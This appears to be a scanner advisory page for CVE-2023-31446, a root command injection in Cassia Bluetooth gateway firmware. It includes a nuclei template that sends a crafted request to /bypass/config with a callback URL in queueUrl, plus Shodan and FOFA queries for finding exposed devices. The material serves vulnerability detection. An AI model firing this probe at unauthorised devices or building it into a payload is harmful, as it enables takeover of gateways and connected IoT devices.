Cassia Gateway Firmware - Remote Code Execution

criticalseverity

9.8CVSS score

61.1%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

In Cassia Gateway firmware XC1000_2.1.1.2303082218 and XC2000_2.1.1.2303090947, the queueUrl parameter in /bypass/config is not sanitized. This leads to injecting Bash code and executing it with root privileges on device startup.

Impact

Unauthenticated attackers can inject Bash code through the queueUrl parameter which executes with root privileges on device startup, potentially compromising the Bluetooth gateway and all connected IoT devices.

Fix

Update Cassia Gateway firmware to a version newer than XC1000_2.1.1.2303082218 and XC2000_2.1.1.2303090947 that properly sanitizes the queueUrl parameter.

How to confirm it

Send: @timeout: 20s
Positive when: contains in interactsh_protocol "dns" AND matches /^OK$/

Run it with nuclei: nuclei -id CVE-2023-31446 -u <target>

The full check

id: CVE-2023-31446

info:
  name: Cassia Gateway Firmware - Remote Code Execution
  author: DhiyaneshDk
  severity: critical
  description: |
    In Cassia Gateway firmware XC1000_2.1.1.2303082218 and XC2000_2.1.1.2303090947, the queueUrl parameter in /bypass/config is not sanitized. This leads to injecting Bash code and executing it with root privileges on device startup.
  impact: |
    Unauthenticated attackers can inject Bash code through the queueUrl parameter which executes with root privileges on device startup, potentially compromising the Bluetooth gateway and all connected IoT devices.
  remediation: |
    Update Cassia Gateway firmware to a version newer than XC1000_2.1.1.2303082218 and XC2000_2.1.1.2303090947 that properly sanitizes the queueUrl parameter.
  reference:
    - https://github.com/advisories/GHSA-89ph-wr9x-hcfc
    - https://github.com/Dodge-MPTC/CVE-2023-31446-Remote-Code-Execution
    - https://vuldb.com/?id.250210
    - https://blog.kscsc.online/cves/202331446/md.html
    - https://www.cassianetworks.com
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-31446
    epss-score: 0.61081
    epss-percentile: 0.99165
    cpe: cpe:2.3:o:cassianetworks:xc1000_firmware:2.1.1.2303082218:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: cassianetworks
    product: xc1000_firmware
    shodan-query:
      - html:"Cassia Bluetooth Gateway Management Platform"
      - http.html:"cassia bluetooth gateway management platform"
    fofa-query: body="cassia bluetooth gateway management platform"
  tags: cve,cve2023,rce,cassia,gateway,cassianetworks,vkev,vuln

http:
  - raw:
      - |
        @timeout: 20s
        GET /bypass/config?type=sqs&keyId=test&key=security&queueUrl=http://{{interactsh-url}}/ HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "dns"

      - type: regex
        regex:
          - "^OK$"

References

Use this check only on systems you are authorised to test. Where the data comes from